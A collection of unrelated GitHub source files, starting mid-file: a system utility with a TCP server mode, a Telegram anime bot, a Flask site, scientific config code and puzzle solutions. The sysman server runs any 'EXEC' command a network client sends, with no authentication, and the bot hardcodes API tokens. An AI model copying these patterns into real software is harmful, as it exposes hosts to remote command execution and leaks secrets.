caddr):\n super().__init__()\n self.worker_sock = worker_sock\n self.caddr = caddr\n\n # handles sysman 'Server Mode' for multiple clients\n def run(self):\n global num_connections\n sys_utils = SystemUtils()\n try:\n with self.worker_sock.makefile('rw', 1024) as sock_file:\n sock_file.write(\"Welcome to sysman 'Server Mode'.\\n\"\n \"Commands: SYSINFO, PS, EXEC, QUIT\\n\")\n sock_file.flush()\n\n req = sock_file.readline().strip()\n while req != \"QUIT\":\n\n if req == \"SYSINFO\":\n with redirect_stdout(sock_file):\n sys_utils.sys_info()\n sock_file.flush()\n\n elif req == \"PS\":\n with redirect_stdout(sock_file):\n sys_utils.ps()\n sock_file.flush()\n\n elif req[0:4] == \"EXEC\":\n raw_command = req[req.index(\" \") + 1:len(req)]\n command = [f\"{raw_command}\"]\n with redirect_stdout(sock_file):\n sys_utils.exec(command)\n sock_file.flush()\n\n req = sock_file.readline().strip()\n\n except IOError:\n print(\"I/O Error...\")\n\n self.worker_sock.close()\n num_connections -= 1\n print(f\"Connection from {str(self.caddr)} disconnected.\\nClients currently connected: {num_connections}\")\n\n\n# Crtl C signal handler\ndef ctrlc_handler(signal, frame):\n print('Crtl+C detected, shutting down....')\n sys.exit(0)\n\n\nsignal.signal(signal.SIGINT, ctrlc_handler)\n\n\ndef main():\n global num_connections\n\n # Initialize allowed command line arguments\n parser = argparse.ArgumentParser(description='System information utility')\n parser.add_argument('--sysinfo', action='store_true', required=False,\n help='displays number of users and amount of memory')\n parser.add_argument('--ps', action='store_true', required=False, help='displays a table of running processes')\n parser.add_argument('--exec', nargs=1, type=str, required=False,\n help='executes requested command and displays the result')\n parser.add_argument('--listen', nargs=1, type=int, required=False,\n help='starts the program in server mode, opens a TCP server socket on specified port')\n parser.add_argument('--monitor', nargs=1, required=False,\n help='if the program is in server mode, this will analyze incoming packets')\n\n args = parser.parse_args()\n sys_utils = SystemUtils()\n\n if args.sysinfo:\n sys_utils.sys_info()\n elif args.ps:\n sys_utils.ps()\n elif args.exec:\n sys_utils.exec(args.exec)\n elif args.listen:\n server_mode = True\n\n if args.monitor:\n monitor_vals = args.monitor[0].split(\":\")\n monitor_thread = MonitorThread(monitor_vals[0], monitor_vals[1], monitor_vals[2])\n monitor_thread.start()\n\n port = args.listen[0]\n\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n sock.bind(('', port))\n sock.listen(1)\n worker_sock = 0\n\n num_connections = 0\n\n try:\n while server_mode:\n if server_mode:\n print(f\"Sysman in server mode. Active port: {port} Waiting for connection...\")\n worker_sock, caddr = sock.accept()\n print(\"Connection from: \" + str(caddr))\n\n client_thread = WorkerThread(worker_sock, caddr)\n client_thread.start()\n num_connections += 1\n print(f\"Clients currently connected: {num_connections}\")\n\n finally:\n print(\"Shutting down...\")\n if worker_sock:\n worker_sock.close()\n sock.close()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"afox797/250-project-2","sub_path":"sysman.py","file_name":"sysman.py","file_ext":"py","file_size_in_byte":9467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39999556689","text":"from http.client import EXPECTATION_FAILED\nfrom aniko import Aniko\nfrom matplotlib.image import thumbnail\nfrom pyrogram import Client, filters\nfrom pyrogram.types import (\n Message, InlineKeyboardMarkup,\n InlineKeyboardButton\n)\nimport random\nfrom aniko.error_handlers import *\nfrom config import BaseConfig\nfrom pyrogram.errors import *\n\n@Client.on_message(filters.command('random') & filters.private)\nasync def search(client: Client, message: Message):\n update_channel = BaseConfig.CHNL_NAME\n if update_channel:\n try:\n user = await client.get_chat_member(chat_id=f'@{BaseConfig.CHNL_NAME}', user_id=message.chat.id)\n if user.status == \"kicked\":\n await client.send_message(\n chat_id=message.chat.id,\n text=\"Sorry Sir, You are Banned to use me. Contact my [Support Group](https://t.me/Bots_Universe).\",\n parse_mode=\"markdown\",\n disable_web_page_preview=True\n )\n return\n except UserNotParticipant:\n await client.send_message(\n chat_id=message.chat.id,\n text=\"**Please Join My Updates Channel to use this Bot!**\",\n reply_markup=InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton(\"Join Updates Channel\", url=f\"t.me/{BaseConfig.CHNL_NAME}\")\n ]\n ]\n ),\n parse_mode=\"markdown\"\n )\n return\n except Exception as e:\n await client.send_message(\n chat_id= message.chat.id,\n text=f\"Something went Wrong. Contact my [Support Group](https://t.me/Bots_Universe).\\nError: {e}\",\n parse_mode=\"markdown\",\n disable_web_page_preview=True)\n return\n\n msg = await message.reply_text(\"Searching...\")\n try:\n anime = Aniko(\n gogoanime_token=\"dbakbihihrkqnk3\",\n auth_token=\"EKWBIH4NJTO309U4HKTHI39U9TJ5OJ0UU5J9\"\n )\n tk = [\n 'action',\n 'adventure',\n 'cars',\n 'comedy',\n 'dementia',\n 'demons',\n 'drama',\n 'dub',\n 'ecchi',\n 'fantasy',\n 'game',\n 'harem',\n 'hentai',\n 'historical',\n 'horror',\n 'josei',\n 'kids',\n 'magic',\n 'martial-arts',\n 'mecha',\n 'military',\n 'music',\n 'mystery',\n 'parody',\n 'police',\n 'psychological',\n 'romance',\n 'samurai',\n 'school',\n 'sci-fi',\n 'seinen',\n 'shoujo',\n 'shoujo-ai',\n 'shounen-ai',\n 'shounen',\n 'space',\n 'sports',\n 'super-power',\n 'supernatural',\n 'thriller',\n 'vampire',\n 'yaoi',\n 'yuri',\n ]\n for i in tk:\n xx = random.choice(list(tk))\n\n vv = anime.get_by_genres(xx, '10')\n new_list = []\n for i in vv:\n aha = i.animeid\n new_list.append(aha)\n extra = \"\\n\".join(new_list)\n await msg.edit_text(f'''\nSo The Randomised Genere is : `{xx}`\nHere are the 10 Anime in this Genere : \n\n{extra}\n\n**\nNow You May Use /search <anime name> To Get The Anime Information\n**''',\nparse_mode=\"markdown\",\n reply_markup=InlineKeyboardMarkup([\n [InlineKeyboardButton(\"Join Channel\",\n url=BaseConfig.CHNL_URL)],\n [InlineKeyboardButton(\"Help Me On This Search!\", \"search\")]]))\n except InvalidGenreNameError:\n await msg.edit_text('Oops\\nRandom Got Problem On Network Error!\\nTry Again Now\\nStill Issuses : Conatct @Venilabots_1')\n","repo_name":"Rohith-sreedharan/Aniko","sub_path":"plugins/recommend.py","file_name":"recommend.py","file_ext":"py","file_size_in_byte":4056,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"72"} +{"seq_id":"14471446021","text":"# Module to interface to system liquid level monitor\nimport serial\nimport string\nimport sys\nimport time\nimport struct\n\nclass LiquidLevel:\n debug=False\n #PORT=7 \n PORT= \"/dev/cu.usbmodem14401\"\n\n def open(self):\n self.ser = serial.Serial(self.PORT,baudrate=9600,timeout=1)\n if self.debug:\n print(self.ser.portstr)\n time.sleep(2) # Give arduino time to reset\n line=self.ser.readline().decode('utf-8').strip()\n if line != \"LiquidLevel\":\n print(\"Unexpected response from serial port while looking for 'LiquidLevel': \",line)\n sys.exit(-1)\n if self.debug:\n print(\"Connected to arduino.\")\n\n def setdebug(self):\n self.debug=True\n\n def close(self):\n self.ser.close()\n\n def execute(self,cmd):\n if self.debug:\n print(\"Sending command: \",cmd,)\n self.ser.write(cmd)\n res=self.ser.read(2)\n if self.debug:\n print(\", response:\",res)\n val=struct.unpack('>H',res)\n if self.debug:\n print(\"val:\",val)\n return val[0]\n\n def getlevel(self):\n res=self.execute(b\"L\")\n temp=float(res)\n return temp\n","repo_name":"btownshend/pyTecan","sub_path":"LiquidLevel/liquidlevel.py","file_name":"liquidlevel.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"} +{"seq_id":"6131631035","text":"#!/usr/bin/env python3\n\nimport sys\nimport os\nimport time\nimport datetime\nimport json\n\nfrom flask import Flask, render_template, jsonify, request, redirect, url_for, abort\nfrom werkzeug.utils import secure_filename\n\nfrom models import User, Project\nimport blog\nimport projects\nimport dashboard\nimport landing\n\nimport secrets\n\n\nALLOW_FILE_DELETION = True\n\n\nGLOBAL_CACHE = {}\n\n\napp = Flask(__name__)\n\n\nUPLOAD_DIR = os.path.realpath(__file__)[:-len('__init__.py')] + 'static/uploads'\napp.config['UPLOAD_DIR'] = UPLOAD_DIR\napp.config['MAX_CONTENT_LENGTH'] = 64 * 1024 * 1024 # 64 MiB\n\n\n@app.route('/')\n@app.route('/index')\n@app.route('/home')\ndef index_page():\n\tblogentries = blog.parse_blog()\n\tgithubactions = list(projects.get_github_actions())\n\treturn render_template('index.html',\n\t blogentries=blogentries,\n\t githubactions=githubactions)\n\n\n@app.route('/projects')\ndef projects_page():\n\tproject_names = ('aes-rijndael',\n\t 'output-sparse',\n\t 'physmem',\n\t 'power-relays',\n\t 'sumpass')\n\tallprojects = Project.query.all()\n\tgithubactions = list(projects.get_github_actions())\n\tdel githubactions[8:]\n\treturn render_template('projects.html',\n\t projects=allprojects,\n\t githubactions=githubactions)\n\n\n@app.route('/blog')\ndef blog_page():\n\tblogentries = blog.parse_blog()\n\treturn render_template('blog.html', blogentries=blogentries)\n\n\n@app.route('/resume')\ndef resume_page():\n\treturn render_template('resume.html')\n\n\n@app.route('/about')\ndef about_page():\n\treturn render_template('about.html')\n\n\n@app.route('/landing')\ndef landing_page():\n\tdir_path = os.path.dirname(os.path.realpath(__file__))\n\twith open(dir_path + '/data/landing.json', encoding='utf-8') as file:\n\t\tdata = json.load(file)\n\tprint(data)\n\treturn render_template('landing.html', data=data, text=json.dumps(data, indent=4))\n\n\n@app.route('/dashboard')\ndef dashboard_page():\n\tif request.args.get('source') == 'owm':\n\t\treturn render_template('dashboard.html',\n\t\t source = 'OpenWeatherMap',\n\t\t weather = dashboard.get_owm())\n\telse:\n\t\tlayout = request.args.get('layout')\n\t\tif not layout:\n\t\t\tlayout = 'today_top'\n\t\treturn render_template('dashboard.html',\n\t\t source = 'NOAA',\n\t\t weather = dashboard.get_noaa(),\n\t\t layout = layout)\n\n\n@app.route('/upload', methods=('GET', 'POST'))\ndef upload_page():\n\tif request.method == 'POST':\n\t\tif 'file' not in request.files:\n\t\t\treturn 'File not specified'\n\t\t\t#return redirect(request.url)\n\t\tfile = request.files['file']\n\t\tif not file.filename:\n\t\t\treturn 'File not specified'\n\t\t\t#return redirect(request.url)\n\t\tif file:\n\t\t\tfilename = secure_filename(file.filename)\n\t\t\tif not os.path.isfile(os.path.join(app.config['UPLOAD_DIR'], filename)):\n\t\t\t\tfile.save(os.path.join(app.config['UPLOAD_DIR'], filename))\n\t\t\t\treturn 'file upload complete'\n\t\t\telse:\n\t\t\t\treturn 'a file of that name already exists'\n\t\telse:\n\t\t\treturn 'file cannot be uploaded: ' + str(file)\n\tlistdir = os.listdir(app.config['UPLOAD_DIR'])\n\tlistdir.sort()\n\tfilelist = []\n\tfor file in listdir:\n\t\tif file != 'metadata.json':\n\t\t\tpath = os.path.join(app.config['UPLOAD_DIR'], file)\n\t\t\tsize = os.path.getsize(path)\n\t\t\td = {\n\t\t\t\t'name': file,\n\t\t\t\t'size': size,\n\t\t\t\t'size_readable': size,\n\t\t\t\t'mtime': os.path.getmtime(path),\n\t\t\t\t'mtime_readable': datetime.datetime.fromtimestamp(os.path.getmtime(path)).strftime('%Y-%m-%d %H:%M:%S UTC'),\n\t\t\t\t'allow_delete': ALLOW_FILE_DELETION\n\t\t\t}\n\t\t\tfilelist.append(d)\n\treturn render_template('upload.html',\n\t upload_dir=app.config['UPLOAD_DIR'],\n\t filelist=filelist)\n\n\n@app.route('/uploaded')\ndef uploaded_file():\n\tfilename = secure_filename(request.args.get('file'))\n\tif '/' in filename:\n\t\tabort(400)\n\tif request.args.get('delete') == 'yes' and ALLOW_FILE_DELETION:\n\t\tos.remove(app.config['UPLOAD_DIR'] + '/' + filename)\n\t\treturn redirect(url_for('upload_page'))\n\telse:\n\t\treturn redirect('/uploads/' + filename)\n\n\n@app.route('/wildsurge')\ndef wildsurge():\n\tif 'surgelist' not in GLOBAL_CACHE:\n\t\tdir_path = os.path.dirname(os.path.realpath(__file__))\n\t\tsurgelist = []\n\t\tsurgenum = 0\n\t\twith open(dir_path + \"/data/wildsurges.txt\", encoding=\"utf-8\") as file:\n\t\t\tfor line in file:\n\t\t\t\tline = line.strip()\n\t\t\t\ttokens = line.split(\" \")\n\t\t\t\tnum = tokens[0][-4:]\n\t\t\t\ttext = \" \".join(tokens[1:])\n\t\t\t\tsurgelist.append(\n\t\t\t\t\t{\n\t\t\t\t\t\t'num': num,\n\t\t\t\t\t\t'text': text,\n\t\t\t\t\t})\n\t\t\t\tprint(\"{:04} :: added {} -> {}\".format(surgenum, surgelist[-1]['num'], surgelist[-1]['text']))\n\t\t\t\tsurgenum += 1\n\t\tGLOBAL_CACHE['surgelist'] = surgelist\n\tif request.args.get('num'):\n\t\tnum = request.args.get('num')\n\t\tif num == \"all\":\n\t\t\tsurgelist = GLOBAL_CACHE['surgelist']\n\t\t\treturn render_template('wildsurge.html', surgelist=surgelist)\n\t\telse:\n\t\t\tdigits = \"0123456789\"\n\t\t\tnum = \"\".join(c for c in num if c in digits)\n\t\t\twhile len(num) < 4:\n\t\t\t\tnum = \"0\" + num\n\t\t\tif int(num) < 0 or int(num) > 9999:\n\t\t\t\treturn render_template('wildsurge.html', invalidnum=True)\n\t\t\telse:\n\t\t\t\treturn render_template('wildsurge.html', surgenum=num, surgetext=GLOBAL_CACHE['surgelist'][int(num)]['text'])\n\telse:\n\t\treturn render_template('wildsurge.html')\n\t\t# return render_template('wildsurge.html', surgelist=GLOBAL_CACHE['surgelist'])\n\n\n@app.route('/<path:path>')\ndef static_proxy(path):\n\tif '.' not in path:\n\t\tpath += '.html'\n\treturn app.send_static_file(path)\n\n\n@app.route('/api/ip')\ndef get_ip_addr():\n\tdata = {}\n\tdata['ip_addr'] = request.environ['REMOTE_ADDR']\n\treturn jsonify(data)\n\n\n@app.route('/api/alert')\ndef send_alert():\n\tdef get_file_contents(filename):\n\t\twith open(filename, 'r') as f:\n\t\t\treturn f.read().strip()\n\ttry:\n\t\t# https://pushover.net/api\n\t\tapp_token = secrets.get_secret(\"pushover_app_token_alerts\")\n\t\tuser_key = secrets.get_secret(\"pushover_user_key\")\n\n\t\tif request.args.get('message'):\n\t\t\tmessage = request.args.get('message')\n\t\telif request.args.get('msg'):\n\t\t\tmessage = request.args.get('msg')\n\t\telse:\n\t\t\tmessage = \"[no message supplied]\"\n\t\t\treturn jsonify({'success': False, 'error': message})\n\n\t\timport http.client, urllib\n\t\tconn = http.client.HTTPSConnection(\"api.pushover.net:443\")\n\t\tconn.request(\"POST\", \"/1/messages.json\",\n\t\t urllib.parse.urlencode({\n\t\t \"token\": app_token,\n\t\t \"user\": user_key,\n\t\t \"message\": message,\n\t\t \"title\": \"Alerts API (bismith.net/api/alert)\"\n\t\t }), { \"Content-type\": \"application/x-www-form-urlencoded\" })\n\t\tresponse = conn.getresponse().read().decode('utf-8')\n\t\tstatus = {'success': True, 'response': response}\n\texcept Exception as ex:\n\t\tstatus = {'success': False, 'error': str(ex)}\n\treturn jsonify(status)\n\n\n@app.route('/api/arrival')\ndef arrival():\n\tvalid_hostname_chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789.-_'\n\thostname_raw = request.args.get('hostname')\n\ttry:\n\t\thostname = ''.join(c for c in hostname_raw if c in valid_hostname_chars)\n\t\tmessage = '{} arrived'.format(hostname)\n\t\timport base64\n\t\timport smtplib\n\t\tsender = base64.b64decode('QVJSSVZBTC5BTEVSVEBiaXNtaXRoLm5ldA==').decode('UTF-8')\n\t\trecipient = base64.b64decode('NTEyNTc4ODA5MUB0eHQuYXR0Lm5ldA==').decode('UTF-8')\n\t\tsmtpObj = smtplib.SMTP('localhost')\n\t\tsmtpObj.sendmail(sender, [recipient], message)\n\t\tstatus = {'success': True, 'message': message, 'sender': sender,\n\t\t 'recipients': recipient}\n\texcept Exception as ex:\n\t\tstatus = {'success': False, 'error': str(ex)}\n\treturn jsonify(status)\n\n\nif __name__ == '__main__':\n\tapp.run(host='172.16.0.3', port=8888)\n","repo_name":"VectorCell/bismith.net","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"22360438518","text":"# coding: utf-8\n\n\"\"\"\n Veracode Web Application Scanning Configuration Service API\n\n Web Application Scanning Configuration API Documentation # noqa: E501\n\n OpenAPI spec version: 1.0\n Contact: veracode@veracode.com\n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nimport pprint\nimport re # noqa: F401\n\nimport six\n\n\nclass CrawlConfiguration(object):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {\n 'disabled': 'bool',\n 'scripts': 'list[CrawlScript]'\n }\n\n attribute_map = {\n 'disabled': 'disabled',\n 'scripts': 'scripts'\n }\n\n def __init__(self, disabled=None, scripts=None): # noqa: E501\n \"\"\"CrawlConfiguration - a model defined in Swagger\"\"\" # noqa: E501\n\n self._disabled = None\n self._scripts = None\n self.discriminator = None\n\n if disabled is not None:\n self.disabled = disabled\n if scripts is not None:\n self.scripts = scripts\n\n @property\n def disabled(self):\n \"\"\"Gets the disabled of this CrawlConfiguration. # noqa: E501\n\n If true, the automated crawler is disabled. # noqa: E501\n\n :return: The disabled of this CrawlConfiguration. # noqa: E501\n :rtype: bool\n \"\"\"\n return self._disabled\n\n @disabled.setter\n def disabled(self, disabled):\n \"\"\"Sets the disabled of this CrawlConfiguration.\n\n If true, the automated crawler is disabled. # noqa: E501\n\n :param disabled: The disabled of this CrawlConfiguration. # noqa: E501\n :type: bool\n \"\"\"\n\n self._disabled = disabled\n\n @property\n def scripts(self):\n \"\"\"Gets the scripts of this CrawlConfiguration. # noqa: E501\n\n List of optional, valid script identifiers. # noqa: E501\n\n :return: The scripts of this CrawlConfiguration. # noqa: E501\n :rtype: list[CrawlScript]\n \"\"\"\n return self._scripts\n\n @scripts.setter\n def scripts(self, scripts):\n \"\"\"Sets the scripts of this CrawlConfiguration.\n\n List of optional, valid script identifiers. # noqa: E501\n\n :param scripts: The scripts of this CrawlConfiguration. # noqa: E501\n :type: list[CrawlScript]\n \"\"\"\n\n self._scripts = scripts\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n if issubclass(CrawlConfiguration, dict):\n for key, value in self.items():\n result[key] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, CrawlConfiguration):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n","repo_name":"jourzero/veracode-api-clients","sub_path":"restapi/swagger/web_app_scanning_config_service_api_1.0/python-client-generated/swagger_client/models/crawl_configuration.py","file_name":"crawl_configuration.py","file_ext":"py","file_size_in_byte":4150,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"20838893995","text":"def get_time_in_buffer_together(arrivals, buffers):\n count_of_programs = 1\n buffers_pr_time = [0 for i in range(0, 10)]\n arrival = 0\n exit_time = 0\n for i in range(0, len(arrivals)):\n if exit_time > arrivals[i]:\n arrival = exit_time\n else:\n arrival = arrivals[i]\n\n count_of_programs = 0\n\n if buffers[i] != 0:\n count_of_programs = 1\n\n exit_time = arrivals[i] + buffers[i]\n\n for j in range(i+1, len(arrivals)):\n if arrival < arrivals[j] and arrivals[j] < exit_time:\n buffers_pr_time[count_of_programs] += arrivals[j] - arrival\n count_of_programs += 1\n arrival = arrivals[j]\n\n buffers_pr_time[count_of_programs] += exit_time - arrival\n return buffers_pr_time\n\n\nprint(\"TRYYYYYYYYYYYYYYYYYYYYYYY\")\nprint(get_time_in_buffer_together([1,2,3,4], [1.5, 2,1 ,1]))\n","repo_name":"MalakaVoid/ModelingSystemsLabs","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"43877498344","text":"import os\n\nimport numpy as np\n\nfrom hexrd import material\nfrom hexrd.constants import keVToAngstrom\nfrom hexrd.valunits import valWUnit\n\nfrom .config import Config\nfrom .utils import get_exclusion_parameters\n\n\nDMIN_DFLT = 0.5 # angstrom\nTTHW_DFLT = 0.25 # degrees\n\n\nclass MaterialConfig(Config):\n \"\"\"Handle material configuration.\"\"\"\n\n def __init__(self, cfg):\n super().__init__(cfg)\n re, ep = get_exclusion_parameters(self._cfg, 'material')\n self._reset_exclusions, self._exclusion_parameters = re, ep\n\n @property\n def definitions(self):\n \"\"\"Return the materials database filename.\"\"\"\n temp = self._cfg.get('material:definitions')\n if not os.path.isabs(temp):\n temp = os.path.join(self._cfg.working_dir, temp)\n if os.path.exists(temp):\n return temp\n raise IOError(\n '\"material:definitions\": \"%s\" does not exist'\n )\n\n @property\n def active(self):\n \"\"\"Return the active material key.\"\"\"\n return self._cfg.get('material:active')\n\n @property\n def materials(self):\n \"\"\"Return a dict of materials.\"\"\"\n #\n # If reset_exclusions is False, we use the material as read from\n # the file. This includes not using the dmin value, which may alter\n # the HKLs available.\n #\n if not hasattr(self, '_materials'):\n kwa = {\"f\": self.definitions}\n if self.reset_exclusions:\n kwa[\"dmin\"] = valWUnit(\"dmin\", \"length\", self.dmin, \"angstrom\")\n self._materials = material.load_materials_hdf5(**kwa)\n return self._materials\n\n @materials.setter\n def materials(self, mats):\n assert isinstance(mats, dict), \"input must be a dict\"\n self._materials = mats\n\n @property\n def dmin(self):\n \"\"\"Return the specified minimum d-spacing for hkl generation.\"\"\"\n return self._cfg.get('material:dmin', DMIN_DFLT)\n\n @property\n def tthw(self):\n \"\"\"Return the specified tth tolerance.\"\"\"\n return self._cfg.get('material:tth_width', TTHW_DFLT)\n\n @property\n def fminr(self):\n \"\"\"Return the specified tth tolerance.\"\"\"\n return self._cfg.get('material:min_sfac_ratio', None)\n\n @property\n def reset_exclusions(self):\n \"\"\"Flag to use hkls saved in the material\"\"\"\n return self._reset_exclusions\n\n @property\n def exclusion_parameters(self):\n return self._exclusion_parameters\n\n @property\n def plane_data(self):\n \"\"\"crystallographic information\"\"\"\n #\n # Only generate this once, not on each call.\n #\n if not hasattr(self, \"_plane_data\"):\n self._plane_data = self._make_plane_data()\n return self._plane_data\n\n def _make_plane_data(self):\n \"\"\"Return the active material PlaneData class.\"\"\"\n pd = self.materials[self.active].planeData\n pd.tThWidth = np.radians(self.tthw)\n if self.reset_exclusions:\n pd.exclude(**self.exclusion_parameters._asdict())\n return pd\n\n @property\n def beam_energy(self):\n return keVToAngstrom(self.plane_data.wavelength)\n\n @beam_energy.setter\n def beam_energy(self, x):\n if not isinstance(x, valWUnit):\n x = valWUnit(\"beam energy\", \"energy\", x, \"keV\")\n for matl in self.materials.values():\n matl.beamEnergy = x\n","repo_name":"HEXRD/hexrd","sub_path":"hexrd/config/material.py","file_name":"material.py","file_ext":"py","file_size_in_byte":3404,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"72"} +{"seq_id":"74645737193","text":"def get_metadata_sum(data):\n def helper(data, i):\n n_children = data[i]\n n_metadata = data[i+1]\n metadata = 0\n i += 2\n for n in range(n_children):\n child_metadata, i = helper(data, i)\n metadata += child_metadata\n metadata += sum(data[i:i+n_metadata])\n i += n_metadata\n return metadata, i\n return helper(data, 0)[0]\n\ndef get_root_value(data):\n def helper(data, i):\n n_children = data[i]\n n_metadata = data[i+1]\n i += 2\n if n_children > 0:\n child_values = {}\n for n in range(n_children):\n child_value, i = helper(data, i)\n child_values[n] = child_value\n value = sum(child_values[k-1] for k in data[i:i+n_metadata] \\\n if (k-1) in child_values)\n else:\n value = sum(data[i:i+n_metadata])\n i += n_metadata\n return value, i\n return helper(data, 0)[0]\n\n\nwith open(\"day8_input.txt\") as f:\n data = list(map(int, f.read().rstrip().split()))\n print(get_metadata_sum(data))\n print(get_root_value(data))\n","repo_name":"amstocker/aoc2018","sub_path":"day8.py","file_name":"day8.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"21035134876","text":"import unittest\n\nimport lsst.utils.tests\n\nfrom lsst.skymap.discreteSkyMap import DiscreteSkyMap\nfrom helper import skyMapTestCase\n\n\n# These are the PS1 Medium-Deep fields\ncoords = [(10.6750, 41.2667), # M31\n (36.2074, -04.5833), # XMM-LSS\n (53.1, -28.1333), # CDFS\n (130.5917, +44.3167), # IfA-Lynx\n (150.0, +02.2), # COSMOS\n (161.9167, +58.0833), # Lockman\n (185.0, +47.1167), # NGC4258\n (213.7051, +53.0834), # DEEP2-Field1/EGS\n (242.7875, +54.95), # EliasN1\n (334.1875, +00.2833), # SA22\n (352.3125, -00.4333), # DEEP2-Field3\n (270.0, +66.56), # North Ecliptic Pole\n ]\nconfig = DiscreteSkyMap.ConfigClass()\nconfig.raList = [c[0] for c in coords]\nconfig.decList = [c[1] for c in coords]\nconfig.radiusList = [2] * len(coords)\n\n\nclass DiscreteTestCase(skyMapTestCase.SkyMapTestCase):\n\n def setUp(self):\n self.setAttributes(\n SkyMapClass=DiscreteSkyMap,\n name=\"discrete\",\n config=config,\n numTracts=len(coords),\n neighborAngularSeparation=None, # don't test for fixed angular sep\n numNeighbors=None, # ignored because neighborAngularSeparation is None\n )\n\n def testCompare(self):\n \"\"\"Test that DiscreteSkyMap's extra state is included in its hash.\"\"\"\n defaultSkyMap = self.getSkyMap()\n for index in (3, 5):\n config = self.getConfig()\n # delete one tract\n del config.raList[index]\n del config.decList[index]\n del config.radiusList[index]\n skyMap = self.getSkyMap(config=config)\n self.assertNotEqual(skyMap, defaultSkyMap)\n for radius in (1.8, 2.3):\n config = self.getConfig()\n config.radiusList[5] = radius\n skyMap = self.getSkyMap(config=config)\n self.assertNotEqual(skyMap, defaultSkyMap)\n for ra in (35.1, 72.6):\n config = self.getConfig()\n config.raList[5] = ra\n skyMap = self.getSkyMap(config=config)\n self.assertNotEqual(skyMap, defaultSkyMap)\n for dec in (-5.2, 1.8):\n config = self.getConfig()\n config.decList[5] = dec\n skyMap = self.getSkyMap(config=config)\n self.assertNotEqual(skyMap, defaultSkyMap)\n\n\nclass MemoryTester(lsst.utils.tests.MemoryTestCase):\n pass\n\n\ndef setup_module(module):\n lsst.utils.tests.init()\n\n\nif __name__ == \"__main__\":\n lsst.utils.tests.init()\n unittest.main()\n","repo_name":"lsst/skymap","sub_path":"tests/test_discreteSkyMap.py","file_name":"test_discreteSkyMap.py","file_ext":"py","file_size_in_byte":2565,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"72"} +{"seq_id":"35145984487","text":"class GetTokenMiddleware(object):\n \"\"\"The custom token-based authentication middleware.\"\"\"\n\n def __init__(self, get_response):\n self.get_response = get_response\n\n def __call__(self, request):\n \"\"\"Remove the HTTP_COOKIE META from requests for tokens.\n\n Params\n ------\n request: object\n The request object\n\n Returns\n -------\n Response:\n The corresponding response object\n \"\"\"\n if (\n request.META[\"PATH_INFO\"] == \"/manager/api/get-token/\"\n and \"HTTP_COOKIE\" in request.META\n ):\n request.META[\"HTTP_COOKIE\"] = \"\"\n return self.get_response(request)\n","repo_name":"lsst-ts/LOVE-manager","sub_path":"manager/api/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18013791440","text":"# https://leetcode.com/problems/maximum-width-of-binary-tree/description/\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def widthOfBinaryTree(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n level = [root]\n nextLevel = []\n maxWidth = 0\n if not root:\n return 0\n if not root.right and not root.left:\n return 1\n\n while set(level) != set([None]):\n leftMost = 0\n rightExtend = 0\n for node in level:\n if node:\n nextLevel.append(node.left)\n nextLevel.append(node.right)\n else:\n nextLevel.append(None)\n nextLevel.append(None)\n if not nextLevel[0] and not leftMost and nextLevel[-2]:\n leftMost = len(nextLevel) - 1\n elif not nextLevel[0] and not leftMost and nextLevel[-1]:\n leftMost = len(nextLevel)\n \n if nextLevel[-2]:\n rightExtend = len(nextLevel) - 1\n if nextLevel[-1]:\n rightExtend = len(nextLevel) \n if leftMost:\n rightExtend += 1\n maxWidth = max(maxWidth, rightExtend - leftMost)\n level = nextLevel\n nextLevel = []\n\n \n return maxWidth\n\n# Passed 104/108 test cases, too 